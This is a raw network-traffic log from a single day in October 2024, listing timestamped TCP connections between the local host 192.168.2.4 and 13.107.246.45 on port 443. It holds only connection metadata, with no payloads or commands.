Oct 30, 2024 07:28:14.354368925 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.354377985 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.643066883 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.643975019 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.643990040 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.644428968 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.644433975 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.666106939 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.667701960 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.667718887 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.668076038 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.668081999 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.773376942 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.773554087 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.773857117 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.773929119 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.773942947 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.773956060 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.773960114 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.779428959 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.779469013 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.779542923 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.779723883 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.779733896 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.795840979 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.796072006 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.796164036 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.796323061 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.796340942 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.796350956 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.796356916 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.800189972 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.800219059 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.800297022 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.800518036 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.800529003 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.940258980 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.942897081 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.942914963 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.943406105 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.943413019 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.978053093 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.978777885 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.978789091 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.979491949 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.979496002 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.068893909 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.068953991 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.069067001 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.069365978 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.069391012 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.069402933 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.069410086 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.072949886 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.072984934 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.073069096 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.073298931 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.073307991 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.080655098 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.081113100 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.081120968 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.081587076 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.081590891 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.114795923 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.114864111 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.115014076 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.115252972 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.115268946 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.115278959 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.115284920 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.118237019 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.118355036 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.118484020 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.118609905 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.118633986 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.210247993 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.210696936 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.213572979 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.213982105 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.213987112 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.214010000 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.214019060 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.217061043 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.217108011 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.217196941 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.217374086 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.217386961 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.527596951 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.528263092 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.528295994 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.528825998 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.528831959 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.536942005 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.537416935 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.537437916 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.537899971 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.537906885 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.658688068 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.658874035 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.658978939 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.659219027 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.659243107 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.659262896 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.659270048 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.662727118 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.662765026 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.662959099 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.663176060 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.663187981 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.667754889 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.667818069 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.668011904 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.668117046 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.668132067 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.668140888 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.668147087 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.670599937 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.670646906 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.670799971 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.670984983 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.670999050 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.800518036 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.801295042 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.801373959 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.801948071 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.801961899 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.847702980 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.849064112 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.849088907 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.849625111 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.849630117 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.929352045 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.929416895 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.929876089 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.929877043 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.929877043 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.935468912 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.935513973 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.935650110 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.935859919 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.935872078 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.947690010 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.948450089 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.948489904 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.949064016 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.949069977 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.977817059 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.977909088 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.978118896 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.978163004 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.978163004 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.978192091 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.978203058 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.981626987 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.981673956 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:15.981755972 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.981904030 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:15.981913090 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.079308033 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.082458019 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.082521915 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.082575083 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.082575083 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.082609892 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.082623005 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.085566044 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.085639954 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.085730076 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.085870981 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.085911989 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.244692087 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.244765043 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.393274069 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.393838882 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.393893957 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.394445896 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.394465923 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.409184933 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.409718037 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.409750938 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.410335064 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.410345078 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.522432089 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.522598028 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.522721052 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.523056030 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.523056030 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.523077011 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.523087978 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.526670933 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.526767969 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.526870012 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.527031898 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.527054071 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.543965101 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.544142008 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.544289112 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.544373989 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.544373989 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.544435978 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.544466972 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.547513008 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.547543049 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.547609091 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.547717094 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.547733068 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.660542965 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.661225080 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.661288023 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.661844969 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.661868095 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.707175016 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.707782030 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.707811117 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.708385944 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.708391905 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.789000988 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.789066076 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.789228916 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.789390087 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.789417028 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.789429903 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.789436102 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.793075085 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.793122053 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.793201923 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.793373108 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.793387890 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.820741892 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.821444988 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.821475983 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.821938992 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.821943998 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.836358070 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.836533070 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.836677074 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.836838007 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.836884022 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.836937904 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.836955070 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.840017080 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.840055943 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.840128899 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.840250015 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.840260029 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.951342106 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.951459885 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.951510906 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.951678038 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.951699018 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.951735973 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.951741934 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.954994917 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.955054045 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:16.955144882 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.955328941 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:16.955349922 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.257555962 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.258105040 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.258205891 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.258554935 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.258573055 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.280417919 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.281064034 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.281078100 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.281641960 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.281646967 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.388947964 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.389089108 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.389250040 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.389482021 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.389482021 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.389550924 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.389585018 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.392453909 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.392488956 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.392580986 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.392743111 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.392751932 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.410793066 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.410900116 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.410954952 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.411112070 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.411135912 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.411149979 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.411158085 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.413780928 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.413808107 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.413883924 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.414036036 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.414052963 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.520953894 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.521564007 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.521614075 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.522053003 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.522064924 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.582735062 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.583424091 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.583455086 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.583898067 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.583904028 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.648555994 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.648720980 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.648921013 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.649244070 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.649276972 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.649295092 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.649302006 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.652225018 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.652348042 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.652450085 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.652570963 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.652581930 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.686517954 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.687078953 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.687092066 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.687498093 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.687503099 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.714658976 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.714813948 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.714878082 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.714951038 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.714970112 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.714983940 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.714989901 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.718408108 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.718445063 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.718502998 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.718780994 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.718795061 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.816725969 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.816802025 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.816876888 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.817073107 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.817102909 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.817116976 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.817122936 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.820008993 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.820059061 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:17.820120096 CET	49907	443	192.168.2.4	13.107.246.45
